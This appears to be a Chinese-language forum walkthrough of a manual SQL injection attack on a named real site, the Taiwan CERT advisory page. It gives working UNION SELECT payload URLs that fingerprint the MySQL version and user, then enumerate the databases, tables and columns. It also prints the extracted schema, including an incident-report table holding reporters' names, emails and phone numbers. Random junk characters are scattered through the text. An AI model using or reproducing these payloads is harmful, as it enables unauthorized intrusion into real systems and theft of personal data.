1.判断版本http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持ounion查询3 h4 a1 a1 E4 ]' k
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解/ A+ X! z1 F& b5 s- r
http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,2,3,4,5,6,7,8,9--
z3 L8 R/ |" ^( v6 g* V( i, z# c& t3.查看数据库版本及当前用户,http://www.cert.org.tw/document/advisory/detail.php?id=7 and 2=4 union select 1,user(),version(),4,5,6,7,8,9--
1 o0 W" V$ e8 T1 E; G& a数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,有待牛人去考证。

9 i1 o# D" [9 Z( j% {http://www.cert.org.tw/document/advisory/detail.php?id=7 and (select count(*) from MySQL.user)>0-- 返回错误,没有写权限

5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
8 n& _' e3 z0 X+ M, s T6 ?但是这个点有点不争气,用不了这个命令,就学习了下土耳其黑客的手法,不多说,如下
6 w u* s# H& E) O9 F+ Ehttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--
- T; O1 h6 O! R' M成功查出所有数据库,国外的黑客就是不一般。数据库如下:
/ F: Z# Z3 A8 G; V$ V9 [ A/ pinformation_schema,Advisory,IR,mad,member,mysql,twcert,vuldb,vulscandb- z! I: B6 K& H c
6.爆表,爆的是twcert库/ A U: w2 U$ B- @& W3 t* F
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
Q7 [9 v7 R7 E7 |, R; d/ c爆出如下表3 j: @" t; B9 p! ^
downloadfile,irsys,newsdata,secrpt,secrpt_big52 q8 E! Z; `( [. r
7.爆列名,这次爆的是irsys表2 x9 S" r. i2 f; ` \
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
- f% F: a! \ u2 _% s; z爆出如下列7 [" l% N% I& g4 g" F
ir_id,name,company,email,tel,pubdate,rptdep,eventtype,eventdesc,machineinfo,procflow,memo,filename,systype,status
% t3 t2 s! Z9 I# @3 g* A8.查询字段数,到这一步,国内很少有黑客去查询字段数的,直接用limit N,1去查询,直接N到报错为止。
$ b$ [$ W- K& Y8 `http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--1 p. M y. c: u1 {$ K( O
返回是3,说明每个列里有3个地段
